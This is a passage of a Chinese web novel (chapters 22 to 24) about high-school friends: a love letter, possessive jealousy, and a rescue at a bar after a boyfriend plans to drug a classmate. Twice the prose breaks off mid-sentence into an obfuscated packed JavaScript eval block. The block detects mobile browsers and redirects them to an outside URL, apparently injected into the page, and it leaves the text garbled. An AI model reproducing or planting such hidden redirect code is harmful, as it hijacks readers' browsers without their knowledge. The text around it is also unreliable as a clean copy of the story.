骆危楼听了大半天,最后问他选没选,他说没考虑好就给挂了。 那通电话之后没过多久,陆舍青就回来了。 他不太清楚陆舍青回来是自己消气了,还是因为骆一州给她也打了电话。 但明显,陆舍青没办法跟他亲近。 焦躁、警惕、不安。 没人的时候,陆舍青在家里就是这样。 不会再和他起争执,也不再质问他,甚至都不会直接推开他房门看他在做什么。 但陆舍青和班主任的联系明显频繁起来,和严妄一家吃饭、说话的频率也变高。 骆危楼很不喜欢,但就像陆舍青没办法管他一样,他也没办法要求陆舍青不能怎么样。 “发什么呆!进家了,快换鞋,一起把书包放了就能吃饭!” 骆危楼回过神,看向客厅里聊天的三人,微微垂眼,又看向严妄。 有时候,他挺佩服严妄的。 那么大的打击,在他身上留下了疤痕,却没留下阴影。 他回道:“来了。” 22. 第 22 章 “好冷啊。” 严妄裹紧校服,下巴几乎全缩在毛衣领口,瞥眼边上的骆危楼,“嗳,元旦假期你要怎么过?” 骆危楼转头看他,没说话。 “你生日啊!”严妄瞪他,“就等着我说是吧?你这人,典型的闷骚。” 骆危楼挑眉,把暖手宝拿出来,直接塞到他衣服口袋,“那你可以不说。” 但他知道,严妄一点憋不住话。 从小到大,憋不住话,还是个话痨。 心虚的时候话很多,耍小聪明的时候眼睛转来转去,一撒谎就结巴不敢看人。 严妄捏住暖手宝,心想天这么冷,怎么不把骆危楼脑子冻住。 省得他叭叭叭地,一开口就毒死人。 “妄崽、学神,等等我!” 严妄回头,看孙雯宁穿着一件白色羽绒服走来,瞪大眼,“你是不是夸张了点,就换羽绒服了。” 孙雯宁白他一眼,“就说好看不好看吧。” 严妄诚实点头,衣服是挺好看的,尤其红色薄围巾一戴,衬得孙雯宁更漂亮了。 孙雯宁满意地给了他肩上一巴掌,转头去看骆危楼。 骆危楼默默移开,“好看。” “算你们两个直男有眼光,我今天可是——”孙雯宁说到一半,卡壳了一样停住,“全班最靓的人。” “是是是,赶紧走吧,我快冻死了。”一出小区,风吹来,严妄缩缩脖子。 不是说好的暖冬吗?怎么还冷成这样。 孙雯宁正要开严妄玩笑,感受到骆危楼看来的视线,迅速把手藏进口袋。 骆危楼也没多问,只是看向前面的严妄。 还有两天放元旦,上课难免浮躁。 好在身为高三生大多人都自觉,磨皮擦痒都要熬到下课再四处晃晃,跟人闲聊。 附中一向注重学生全面发展,到了高三,体育课每周保证一节,大课间非特殊情况不能缺席。 大冬天在教学楼中间的广场做完操,平时喜欢在楼下闲逛的,纷纷收起了心思,奔回教室。 虽说南方一向是室外比室内暖和,但那仅限于不下雨、有太阳的时候。 下雨和雨后,外面跟个大冰箱一样。 室内虽然没空调、没暖气,但有二氧化碳,排放多了也就暖和了。 “真羡慕学神啊,被方妈叫去办公室,直接躲过一劫。”周戈抱着胳膊,缩头缩脑地挨在严妄旁边。 老师办公室有空调,就算是旧的,那也暖和。 严妄两手插兜,捏紧拳头,“你也太不经冻了,要你暗恋的女生看见,你追人没戏了。” “靠啊!你早上还冻得接水暖手,现在好意思说我?”周戈一个激灵站直,“你看看人家赵不凡,那才是勇士,就在校服里加了件卫衣。” 严妄瞥眼前面跟其他人勾肩搭背的赵不凡,“谁都没你怂。” “怂就怂吧,反正我高中又不谈恋爱,等我练出八块腹肌,上大学再谈。”周戈看开了,自从摆脱倒数名次,仿佛看破红尘,一心只有学习。 周戈瞄眼孙雯宁和罗恬,“不过今天孙仙儿真漂亮啊,要不是不来电,我高一就得暗恋她。” 严妄:“你不是他的菜。” 周戈:“那她眼光太差了。” 严妄:“这点我赞同。” “对嘛,我就觉得我还挺好——”周戈猛地顿住,看向严妄,“你吃错药了?” 严妄在拐角正要上楼,忽然被人叫住。 他看过去,发现是关欣然,愣了一下。 周戈看看他,又看看严妄,小声问:“不会是要你帮忙,给学神送情书吧?” 严妄愣住,觉得十分有可能。 “你管那么多,可能只是带卷子,你先上去。” “也是哦,毕竟他们之前一起上过竞赛课,有什么新的题呢。”周戈几步追上赵不凡,勾上他背就走了。 严妄看着关欣然,“有事吗?” 关欣然示意他走到楼道边上,左右看了看,才把一把小册子递给他,“里面的东西,是给你的。” 严妄手比脑子快,刚听到这句话,就翻开了明显夹着东西的册子。 粉色信封方方正正地夹在正中间。 情、情书?! 严妄猛地合上册子,看向关欣然。 关欣然看他一脸被吓到的表情,愣了愣,但还是鼓起勇气,“是给你的!” “没有别的意思,我只是想跟你说出我的心意。” 说完关欣然看到很多人又上来了,立即转身,“我回教室了,你不用困扰的,我也不会打扰你。” 严妄大脑宕机,人走了都还站在原地一动不动。 不是,关欣然不是喜欢骆危楼吗?怎么情书是给他的,而且还说不用在意和困扰。 哦,骆危楼说过,关欣然和他就是一起上竞赛课的关系,不喜欢他。 但现在这什么意思啊? 严妄懵里懵懂地往楼上,进教室前不忘把信封从册子里抽出来,塞进了校裤口袋。 一进教室,周戈就八卦地凑过来。 “关欣然跟你说什么了?” 其他离得近的人,秉着八卦不犯法的原则,也看过来。 严妄回过神,把册子往桌上一丢,“一个练习册,让我给骆危楼,怎么,你想拿去做啊?” 周戈迅速摇头,坐正了。 其他人发出失望的声音,决定迎接下一节来自班主任的数学课。 严妄松了口气,刚打算悄悄摸出信封看一眼,旁边椅子被拖动,跟着人坐下来。 吓得他猛地把信封塞回去,扭头看骆危楼。 “你干什么?这么大动静,大家都在学习呢!” 大家:“……” 没有啊,我们只是在放空而已,别冤枉我们啊! 骆危楼看他,“嗯,学习。” 若有所指地瞥了眼桌上那本册子。 严妄立即拨到他桌面,“关欣然让我给你的。” 立即转移话题,“方妈找你什么事?” “没什么,问我高考志愿的方向。”骆危楼说完,把那本册子放到一边,抽出了等会要讲的数学卷子。 高考志愿? 严妄一愣,他别说高考志愿了,连学校和城市都没想好。 江舟市挺好的,名牌大学也有。 最重要的是离家近,这样他就可以照顾外公外婆,有什么事当天就能赶到。 反正以他的分数,去外地也不能选特别好的学校,那不如就在江舟市好了。 折中选一个,主要挑专业就行。 “好快啊,马上只剩下六个月了。”严妄看了一眼窗户外,光秃秃的树上,就剩下零星的几片叶子。 特别像他们年级主任头顶稀疏的头发。 嗳?他怎么好像真的看到赵主任了? “骆危楼,我好像出现幻觉了,果子狸怎么在走廊?” 骆危楼转头看了眼,对上赵主任的脸,默默转回来,顺道把严妄的脑袋扳正。 “没眼花,就是赵主任。” 严妄:“……” 靠!还好不是上课走神,不然铁定要被点名批评! 上课铃一响,方文韵踩着铃声进的教室,教室里瞬间安静下来。 四十五分钟一节的课过得很快。 奈何身为高三生,他们每天有八节这样的课。 方文韵上完课,出教室时,正好孙雯宁要出去,被她叫住。 “你那手指涂的什么?花里胡哨的,给我卸了。”方文韵皱眉,“指甲油和紫外线灯对指甲不好,以后毕业了,要约会或者逛街的时候涂一下就行,别经常动你那指甲。” 孙雯宁立即把手指头蜷进手心,一脸乖巧地点头,“甲片甲片,不是去做的美甲,我一会儿就摘了。” “回去摘吧,那个胶水你生卸,多伤指甲啊。”方文韵说完,想到什么,“还有你期中考退步的事,我还没跟你谈,等元旦回来周考,你要是还退,就准备一下到我办公室喝杯茶。” 孙雯宁瞪大眼,去厕所里玩会儿手机的心思都没了。 什么啊,去办公室喝茶?那是喝茶吗?分明是去受罪的!一坐一节课,一谈一小时,谁受得了啊。 期间还有其他老师、别班同学进进出出。 缩在一边降低存在感的罗恬,“还去吗?” 孙雯宁无能狂怒地抠了抠指甲,“不去了,回去看卷子得了。” 罗恬点头,“好的!我也这么觉得!” - 一天课上完,严妄收书包的时候才想起来,今天收到情书的事情! 这可是情书,高中以来第一封。 意义非比寻常! 而且…… 是写给他的,不是给骆危楼的。 “一起走吗?” 严妄回神,看向周戈,“走啊,孙雯宁呢?” 周戈摇摇头,指了一下座位,“一下课就走了,急急忙忙的,连豆妹都没等。” 严妄哦了声,瞥向旁边骆危楼,“走了,回家,今天又不上晚自习。” 骆危楼抬头看他一眼,收起卷子,“两分钟,外面等我。” 严妄没多想,和周戈一起先出去。 一出教室,严妄想到口袋里那封信,嘴角没控制住,翘得老高。 情书欸! 这可是货真价实的情书,不是小时候开玩笑写的那种! 周戈本来低头看手机,在聊天群里水群,忽然听到旁边在哼歌,一副见鬼的表情抬头。 “你干嘛,今天这么高兴?中午吃饭的时候就这样,你不会是中彩票了吧!” 严妄哼哼两声,没理他。 周戈看他反应,更加觉得是中奖了,“你是不是抽中限量皮肤了啊?还是什么双人海外游?或者是——” 严妄皱皱眉,扒拉开他的手,“什么东西,都不是。” 都不是?那这么高兴?! 周戈不懂,但他不问了,因为骆危楼出来了。 三个人一起离开学校,一个去地铁站,两个回家。 严妄进了小区,到单元楼下时,又忍不住哼起了歌。 情书。 情书,是情书。 嗳,原来—— “关欣然还给了你什么?” 站在家门口,严妄刚拿出钥匙,忽然被身后骆危楼的声音吓一跳。 今天江杉和杨孟生没在家,去老同事家吃酒去了。 人家孙子结婚,估计没个八九点不回来。 “吓我一跳。”严妄晃着手里钥匙,“不是给你了吗?就那本册子。” 骆危楼脸上表情很冷,不是平时的样子,是真的有在生气。 严妄瞬间感觉到,立即心虚起来。 “我能藏什么啊?我又不是你,小时候收到情书还藏起来——” “那本册子,我们早就做完了。” 骆危楼毫不留情地揭穿他的谎话,“需要我现在给你说第几页是那一道题?” 做过的册子,还给他干什么? 更别说他自己也有。 骆危楼往前走了一步,直接把严妄逼到门边贴着。 严妄一怔,没想到骆危楼一下就识破自己的话,立即不甘心地回嘴,“那是我的事,又不一定要告诉你啊。” 说着飞快地打开了防盗门,不然真的要被堵得贴到门上。 “是吗?”骆危楼跟在他后面,“那你口袋里的是什么?别告诉我是明信片。” 严妄猛地转身,“情书!关欣然给我一封情书,怎么了?你也要管啊。” 骆危楼看他炸毛的样子,眯了眯眼。 严妄讨厌死骆危楼现在的样子,就一副你什么都不懂,我是为你好的表情。 从小到大都这样,明明只差两个月,却把他当成弱智。 对,就是弱智、巨婴,觉得他就是一个白痴,连情书都不配收到,除了他之外,其他人都不跟他做朋友。 严妄拿出情书,在骆危楼面前晃了晃,“对啊,就是情书,我收到情书了,就算没有你,我也有一堆朋友,你——” 骆危楼上前,一把拿走情书。 严妄愣住几秒,反应过来立即扑上去,伸手要抢,却被骆危楼直接按住。 “骆危楼,你还我情书,你就是恼羞成怒,自己暗恋人家不成,因为人家喜欢我就跟我生气,我——”又没有要跟人家谈恋爱。 严妄还没说完,就被骆危楼捂住嘴。 老式的宿舍楼房本来也不大,两个人这会儿扭打在沙发上,骆危楼一条腿支在沙发边,另一条腿跪着卡住严妄大腿。 严妄躺倒在沙发上,腿动不了,又被按住肩起不来,只能两只手扑腾。 骆危楼危险地眯起眼,“说了,不许早恋,你是不是听不懂我的话?” 膝盖顶了顶严妄的腿,把人直接挤到沙发靠背。 严妄大怒,“谁要早恋啊,我就是收到情书高兴不行?” “你还给我,你无耻、你卑鄙!” 骆危楼一怔,松了力气,“真的?” 严妄瞪着他,正生气呢,“假的,假的,为了骗你的!” 骆危楼笑了声,把情书收起来,松开了严妄,从茶几上拿了个橘子开始剥。 “还给我!”严妄狼狈地爬起来,伸手,“你这是非法占有别人的东西!” 骆危楼把橘子递到他面前,“我重新写一封给你,要吗?” 严妄猛地瞪大眼,到嘴边的橘子没咬到,咬到了自己的嘴唇,“你、你给我写情书干什么?情书是写给喜欢的人的,而且你是我哥,我俩是发小,你要给我写的那是家书!” 骆危楼:“……” 看严妄还想拿橘子,直接把手缩回来,给他抓了个空。 就这,还想要橘子? 去找别人拿吧。 严妄坐在一边,身上衣服跟打了一架一样,乱糟糟的。 头发也是。 他拿起橘子,一边剥一边往身边骆危楼瞄去。 什么意思啊?骆危楼给自己写情书,是喜欢自己吗?不对啊,他们俩都是男的。 严妄觉得骆危楼就是占有欲太强了,加上自己没早恋,所以不许自己早恋。 他碰了碰骆危楼胳膊。 “嗳,我不早恋的,你放心好了。” 骆危楼瞥他一眼,懒得开口。 跟一根木头说话,还不如多吃点橘子。 严妄看他这是什么态度,不满地皱眉,“你好小气啊,说了不会比你早谈恋爱,你别小气了。” “而且人家关欣然说了,就是表明心意,不要我回应,也不会打扰我,我就是高兴收到情书这件事,又不是想跟她谈。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025661|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>关欣然挺好的女生,但不是他喜欢的类型。 他喜欢的类型应该是…… 成绩好、个子高,最好话别和他一样多,运动也不错,能玩到一起去。 最好是双眼皮,鼻梁高一点,然后嘴唇薄一点。 余光无意间扫到骆危楼,一张下颌线明晰的侧脸映入眼帘。 “看什么?” 骆危楼倏地转头,问他。 严妄瞪圆眼,立即摇摇头。 骆危楼好整以暇看他,“我给你情书,收吗?” 严妄摇摇头,然后又点头,“写成家书吗?” 骆危楼真是服了严妄,觉得他脑回路有问题,干脆站起来,打算直接去厨房。 把晚饭解决了就下楼,免得再待下去气死他。 严妄抿抿唇,把脑子里奇怪的想法赶出去。 为什么他喜欢的标准是骆危楼啊?所以有这样的女生吗? 哦不对,男生也是可以和男生谈恋爱的。 严妄反应慢了几拍,突然回过味来。 难道骆危楼喜欢他吗? 还没来得及细想,手机忽然震了震,是有语音电话打进来。 严妄拿出手机看了下时间,莫名其妙地已经七点过了。 “关欣然?你找我有什么事吗?” 严妄接了语音,打开扩音,专门给骆危楼听,自己是清白的。 骆危楼站在厨房门口,看了过来。 “严妄,我好像看到你们班的孙雯宁了。就在青年路那边,我小姨家在这边,我也不确定是不是眼花,就跟一个男的一起。” 孙雯宁,青年路,男的。 严妄抬头,对上骆危楼视线,“青年路那条有不少酒吧和餐吧的地方是吧?” “对,就是那里。” “你现在有别的事吗?没有的话,你等我们一下,我们马上打车过去,十分钟。” “没事,我在这里等你们好了,要是她出来了,我给你们说一声。” “谢谢了,我们马上来。” 严妄连校服都来不及脱,拿着手机就要往外冲。 骆危楼把人拉回来,“等着,你先给周戈、赵不凡发消息,要是群里其他人信得过也叫上,顺便叫个车,这个点是晚高峰,不好打车。” 他要转身去房间时,转过来,“我去房间拿两件外套,严妄,别慌。” 严妄愣了愣,点点头,“嗯。” 他打开周戈和赵不凡的聊天框,私下给他们发了,然后让周戈问下谁靠谱,能不能一起去。 酒吧、夜场那些地方,他们就算再怎么能打,也比不过那些混社会的人。 从小到大,家里就说过,碰到那群人,躲开点走。 尤其是女生,更要小心被他们盯上。 也就一两分钟,骆危楼已经拿了外套出来,一边给严妄穿上,一边问他消息发了吗。 严妄点头,说都说好了。 骆危楼拿上钥匙,拉着严妄出门,几乎是跑的一起下了楼,跑到小区外。 网约车来得快,他们到的时候,车正好停在路边。 上了车,严妄终于反应过来一样,扭头看骆危楼,“今天她换那身衣服,是不是就跟那个傻逼约会?” “今天是圣诞节。”骆危楼提醒他,“情侣约会很正常。” “约什么会啊!大晚上的,就不能白天一起吃个饭算了?”严妄急了。 “那傻逼都不敢来见我们,每次见到我们都跟耗子一样溜得飞快,孙雯宁是不是老花眼了?这也能看得上?” 骆危楼发现后视镜里,司机看来的眼神,皱了下眉看回去,又拍了拍严妄手背,“别人身攻击。” “我攻击谁了?我就是看不惯那个傻逼。” 严妄烦躁地拿出手机,疯狂给孙雯宁发消息。 他真的怀疑孙雯宁是不是眼花了,怎么能看上那男的。 论成绩,比不上骆危楼。 论长相,还不如周戈。 论身材,那赵不凡体育生不好吗? 论情绪价值,难道他还不行? 发了十几条,一条没回。 语音电话也不接,就是没人接的状态。 他们这个方向过去要掉头,他看了眼马路对面的青云路,正好看到几个人勾肩搭背进去。 无意识地抓紧手机,心里生出害怕。 “骆危楼,我们应该来得挺快的吧?” 骆危楼想去抓他手,又想到什么,只是抬手摸了摸他头,“嗯,距离关欣然打电话来,应该不到十分钟。” 严妄哦了声,垂下眼,“你说我们平时是不是疏忽了孙雯宁啊?她家里——” 骆危楼余光扫了眼后视镜,“别乱想。” 车掉头后,开了几百米就到了。 骆危楼打开车门,握住严妄胳膊把人拉出来,关了车门,拽着他去找关欣然。 大晚上的,关欣然一个人在这里等着,也挺不安全。 “严妄?骆危楼!这里!” 关欣然左顾右盼,看到他们之后挥了挥手,小跑过来,“我没看到她有出来,你们——” 她顿了顿,“你们要进去吗?” 骆危楼看了眼那条街,其实挺宽敞的,路口也正常。但是再往里走,就是有名的酒吧一条街。 夜生活很丰富,从晚上七点一直到凌晨三四点都很热闹。 骆危楼:“你先回去,我们等周戈他们来了就进去。” “我……”关欣然想留下,但她跟六班的人也不熟,而且去了也添乱。 笑了笑,“那我去小姨家了,就在对面的小区。” 严妄回过头来,“那你路上小心,到家了给我说声。” 关欣然点头,“知道的,你们也小心,实在不行就报警,别受伤了。” 严妄和骆危楼点了下头,看着她上人行天桥,过到对面后才收回视线。 “周戈怎么这么慢啊?” “比我们远点,我们先去路口那里看。” “嗯。” 他俩一起走到路口,没等一会儿,赵不凡气喘吁吁地跑来,跟着就是周戈和另外两个男生。 都是班里的,平时一起打球。 周戈气都没喘匀,“妈的,孙仙儿呢?哪家酒吧啊?” 严妄摇头,“就关欣然看到他们进去,不知道是哪家。” “草,这是不是得一家家找?赶紧的吧,里面十几二十家,找一圈都得一小时。” 赵不凡脱掉外套,“那小子真够胆大的,把人往这里带,别是跟谁混了吧。” 严妄和骆危楼对视一眼,没说什么跟了上去。 其他人也往里走,打算一家家去找。 两个人一组,这样快一点。 “那你们这家,我们去后面那家,嗳,王哥,和老陈去那家。” 周戈指挥着,“这次我非要揍那小子一顿,什么烂人。” 刚要进去,骆危楼口袋里的手机忽然震了震,他拿出来看,是孙雯宁发来的。 “等下。” 骆危楼把其他人都叫住,“孙雯宁发了个地址,我们直接过去。” 他一边说名字一边点开语音。 “麻烦学神过来捞下我,我把人打了。” “这傻逼,还想阴我,不知道我哪条道上混的啊。” 严妄:“……?” 23. 第 23 章 严妄他们赶到那家酒吧的时候,酒吧里难得一片安静,甚至不少人都一脸戚然,仿佛看到了什么恐怖的事。 一进去,人高马大的五个高中生,左右打量。 场面不像是学生,倒像是被叫来参与群殴。 骆危楼扫一圈,眼尖地发现了孙雯宁,拍拍严妄肩膀,“那边。” 严妄看去,跟上骆危楼往那边走。 其他人一看他俩,立即跟过去,生怕落单。 “知不知道姐在这一条街的人脉?给你几分颜色就开染坊,还算计到我头上,真敢啊你。” 孙雯宁坐在沙发里,盯着对面歪七扭八靠着的男友,现在应该算前男友。 “之前答应跟你在一起,是觉得你人不帅、不聪明,但对我挺好,结果都是装的,你——” 她余光一瞥,忽然看到几个熟悉的人影。 “你们怎么来得这么快!” 骆危楼看她衣服完整、妆容没花,又瞥了眼蔫了的男生,立即明白了情况,退开到一边靠着不说话。 严妄一个箭步冲上来,拉着孙雯宁胳膊,“你还好吧?” 周戈在后面,不知道从哪桌抄了个啤酒瓶,“打你的人在哪?我这就去给你报仇。” 赵不凡把袖子撸得更高,“王哥和老陈都在,谁敢打你,我们替你打回去。” 王哥:“孙仙儿,你没事吧?” 老陈:“……对面那男的,你打的?” 孙雯宁愣住,看看这个又看看那个,忽地鼻尖一酸,迅速别开脸,抽回胳膊。 “什么啊,我不是就给学神发了信息,你们这么多人过来,我——” 声音哽咽到,有点说不下去。 “没事就好。”严妄松了口气,虚脱似的撑着沙发扶手。 想了想,又觉得气不过,盯着孙雯宁,“吓死我们了,你大晚上不在家里写卷子,跑来这里喝酒,有病吧你!” 孙雯宁抿着唇,下意识想反驳,忽地发现严妄手在抖,愕然地瞪大眼。 “……妄崽,你?” 严妄臭着脸缩回手,看向被打破头的渣男,“你打的?” 孙雯宁点头,“就破了点皮。” 周戈看着那男的脑袋上的血,不可置信地和赵不凡对视一眼。 严妄瞥眼骆危楼,看他不打算出声,想了想,“送诊所,药费我们出。” 随后看孙雯宁,“然后你跟我们回家。” 周戈:“那我们呢?” 严妄:“你们也回家,元旦一起出来吃饭。” 大晚上的折腾这么一趟,还是冬天,够呛的。 要不是平时关系好,谁能这么折腾。 周戈和赵不凡看孙雯宁没事,还有严妄和骆危楼在,也不多待,叫上王哥和老陈先走了。 主要是这事儿吧,也不好多听。 孙雯宁这人平时还挺要面,脾气好归好,跟谁都能玩一块,实际上脾气倔得很。 “药费凭什么我们出,我——”孙雯宁刚想拒绝,就见骆危楼看过来,立即噤声。 骆危楼放下抱着的胳膊,走到男的面前,看看他捂住的伤口。 毛巾应该是酒吧老板提供的,伤口大概率是烟灰缸砸的。 “你朋友是这酒吧的老板?”骆危楼问孙雯宁。 孙雯宁点头,然后又摇头,“不是,是之前认识的一个姐姐,她男朋友是这酒吧的老板。” 骆危楼嗯了声,“那监控和人证都齐了,他想做什么手脚,证据齐全。” 话锋一转,“不过你打人在先,他是犯罪未遂。” 孙雯宁不敢反驳,悄悄看向严妄,结果发现严妄不吭声,完全不站在她这边。 “八中的蔡昆是吧,今天这事你看想私了还是去派出所说,要是私了的话,药费我们出,挨打和你打算给她下药的事一并揭过去,以后谁都不提,你就当从来不认识孙雯宁,你身边那几个人的嘴也封好。” 骆危楼脸上没什么表情,口吻也很淡,却有点吓人。 蔡昆捂着脑袋,跟来的两个朋友早溜了,约好要来“看”孙雯宁那人更是跑得没影。 “你是她谁啊?前男友?” “你是不是有病啊你,脑子不挨打也不怎么样!”严妄忍不住骂,“她要跟骆危楼谈了,还能看上你这么个孙子?跟你谈,那都是眼光最差的一个。” 骆危楼:“……” 孙雯宁:“……” 现在是批评她眼光差的时候吗? 走神真是不分时候。 严妄气鼓鼓地坐在孙雯宁旁边,瞪她一眼,然后又问:“真的没喝吧?” 孙雯宁赶紧摇头,表示自己没喝。 骆危楼没什么耐心,尤其是情书的事被打断,要不是顾及孙雯宁可能出事,他大概率都懒得管。 “去诊所,药费我们给。”骆危楼重复一遍。 蔡昆刚想说什么,倏地对上骆危楼眼神,猛地咽了回去,立即改口,“那我要是检查出其他问题——” 骆危楼知道谈成了,退开两步,拉开了距离,“放心,看你目前症状,伤得也不重。” 说完,回头看沙发上两人,“拿好东西,走了。” 严妄捞起孙雯宁书包,把羽绒服外套递给她,“穿好,外面冷死了。” 孙雯宁笑着接过来,“谢谢妄崽。” 严妄板起脸,“不要嬉皮笑脸,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025662|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会出去再跟你好好算账。” 孙雯宁穿好衣服,跟酒吧老板打了招呼,挽上严妄胳膊,“别生气了,我这回真长记性了,下不为例,啊不,我再也不谈了,一定收起恋爱脑,好好学习天天向上。” 骆危楼跟在他们后面,蔡昆捂着脑袋,灰溜溜地跟上。 他们一离开酒吧,身后的门内又热闹起来。 外面寒风一吹,孙雯宁冻得直哆嗦,看向蔡昆的时候,脸色更难看。 “前面就有一家诊所,去了不该说的别乱说。”孙雯宁冷脸,语气嫌弃。 蔡昆嗯了声,朝诊所走去。 去了诊所,医生检查了下,确实只是皮外伤,头晕目眩都没有。 但还是缝了几针,然后定期换药,一个月差不多能好。 蔡昆缝完针就走了,跑得比兔子都快。 孙雯宁骂了一句,拿出手机准备付药费,被严妄拉住。 骆危楼扫码,确认金额过后,直接付了。 孙雯宁抿着唇一言不发,跟在他们俩后面走出诊所,慢吞吞地往小区走。 哪怕离开酒吧,她身上还有烟味和酒味,估计到家也散不了。 一想到回家,要面对她爸妈的质问和冷眼,可能还有各种猜测、辱骂,她一下站住。 “那个——” “罗恬那里能去吗?要是不能,去我家吧,外公外婆喜欢你的。” 严妄像是知道孙雯宁的话,她一开口就立即打断。 “算了,还是去我家吧,近一点。你家睡得早,加上你弟年纪小,万一闹起来,你爸妈还得哄,又吵到你,你更睡不踏实……反正去我家好了。” 严妄的话,换作其他任何人来说,都会引起误会。 偏偏他从小到大就这样,好像不会怕别人多想,纯粹到有些不符合思维常态。 孙雯宁看向骆危楼,想问他意见。 “他跟我回家睡。”骆危楼手插在口袋里,“走了。” 严妄嘿嘿一笑,拉起孙雯宁跟上,“走了,你睡我房间,不过我一会收拾下,还好床单被套都是新换的,我才睡了一天,你要介意——” 孙雯宁微垂着眼,连忙摇头,“不介意。” 严妄嗯了声,“走了走了,今天他们去吃酒,肯定打包好吃的回来,我还没吃饭,饿死了。” 婚宴的菜,肯定肉超多,而且那家酒店的宴席出了名的好吃。 一想到吃的,严妄回家心切,走得飞快。 骆危楼看他一眼,忍不住扬起嘴角,松了口气。 孙雯宁看看他们俩,眨了眨眼睛,压住泪意,笑了起来。 “那我一定要干三碗饭,去他的减肥,不减了!” 24.第 24 章 大半夜小区里静悄悄的,偶尔有一两户亮着灯,基本是上夜班才回家。 骆危楼翻了个身,半梦半醒间看见一道身影在床边晃来晃去。 习惯地闭眼打算接着睡,忽地一个激灵睁开眼,盯着床边的人。 如果太熟悉严妄的身形,骆危楼会以为家里大半夜遭了贼。 “大半夜不睡觉,晃来晃去的做什么?” “啊!” 骆危楼闭了闭眼,忍着脾气坐起来,看眼房间里的空调。 开着的。 那还好,知道不能冻着自己。 “骆危楼,你干嘛突然出声,吓死我了。”严妄汗毛都吓得竖起来,就差原地窜上去。 骆危楼按开床头的灯,“现在凌晨两点半,你不睡觉,明天是打算逃课?” 严妄瞄一眼床头的小闹钟,底气不足反驳,“我起得来,高三生的牛马作息时间,哪有两点就睡的。” “你最好是。”骆危楼掀开被子下床,瞥一眼严妄,径自走出房间。 严妄狐疑地看他一眼,不明白他又出去干什么。 轻轻揉了揉肚子,走了两步,倏地想肯定是起夜,不然怎么会醒。 这可是病! 生物课上有讲,可能是肾功能有问题。 “在那里嘀咕什么,过来把消食片吃了。” 骆危楼一进门,就听到严妄边晃边嘀咕,喊了他一声。 严妄又差点被吓到,回头瞪他,“……你去拿消食片了?我还以为你肾不好。” 骆危楼冷笑一声,坐到床边,“我肾好不好不一定,但你的胃跟了你也算是遭罪了。” 严妄嚼着消食片,含糊不清解释,“什么叫遭罪?我天天吃好的喝好的,这叫享福。” 骆危楼:“嗯嗯,暴饮暴食也叫享福。” 严妄:“那太好吃我有什么办法。” 从酒店带回来的那菜是好吃嘛,而且热过一遍感觉更入味,他连吃了三碗饭,又吃了不少饭后水果。 “舒服一点没?”骆危楼被他理直气壮的态度气笑,“好了就上来睡觉。” 严妄伸了伸胳膊,发现舒服了不少,立即爬回床上。 要不是半夜被撑得难受,他也不会选择离开温暖的被窝。 闭上眼睛前,严妄总觉得自己忘了一件什么事。 好像还挺重要的,但记不起来的话,应该就不是特别重要的吧。 - 元旦放假前上完最后一节课,全班毫无一点要放假的兴奋,因为三天假而已,却有十八张卷子要写。 这还不包括其他额外的文言文、古诗词、英语单词。 严妄精疲力尽地趴在课桌上,掀起眼皮看向骆危楼,“介意多一个书包再加一个人吗?” 骆危楼替他把卷子收进书包,“很介意。” 严妄立即龇牙,比小狗还小狗,“那后天不给你过生日了。” “可以啊,多一天写作业的时间。”骆危楼半点不介意,站起来时,顺手提溜严妄。 “走了。” 严妄丝毫不反抗,“你简直就是魔鬼。” 经过的周戈严重赞成,“刚才那句话就是恶魔低语,我今晚回家一定做噩梦。” 孙雯宁打着哈欠,“你们走不走?我在门口等你们啊。” 周戈跟上去,“孙仙儿,你昨天做贼去了?” 话刚说完,就被踹了一脚。 赵不凡和罗恬在后面,表示周戈就是皮痒。 欠揍。 严妄磨磨蹭蹭地跟着骆危楼出教室,忽然原地崩了两下,满血复活似的,“成绩去死!放假万岁!” 其他人互相看看,最后默默走开。 这要被其他班的人看到,那就太丢人了。 “喂喂喂,你们太过分了啊,等我啊!” “谁要等你啊!” 严妄从三楼追到一楼,直接拿出接力赛那天的跑步水平,一个箭步挂在了骆危楼和周戈肩上。 “后天谁都不准迟到,一起来庆祝骆危楼十八岁啊!” 嫌弃归嫌弃,但严妄说话,周戈和赵不凡立即呼应。 连罗恬都一本正经地我了握拳。 孙雯宁皱着眉,实在不懂别人的十八岁,严妄那么兴奋做什么? 好吧好吧,就算是骆危楼的—— 她突然看向严妄和骆危楼,慢一步走在后面,眼神慢慢从迷惑到难以置信。 不、不可能吧! “孙雯宁,你快一点。” 严妄松了搭着周戈那只手,往前一挤,搭着骆危楼肩膀回头,“等下你又落单。” 八中那个混蛋肯定不敢再来骚扰孙雯宁,但一些小混混就喜欢盯着女生。 昨天中午,学校保安还抓了两个试图混进学校的人。 孙雯宁回过神,压下心里的疑惑和一点点发现,赶紧跟上去。 到了学校大门口,周戈跟赵不凡、罗恬一起去地铁站,严妄他们走路回小区。 严妄忽然回头,喊住他们三,“嗳,新年快乐啊!” 赵不凡:“哦对,明天就是新的一年了,提前跟你们说新年快乐,晚上群里一起跨年!” 周戈:“……高三的跨年都如此没有仪式感,啊啊啊!” 周戈发疯尖叫,被赵不凡和罗恬一左一右架走,不忘跟他们挥手。 严妄笑得一团一团白雾往外跑,跟个小烟囱似的。 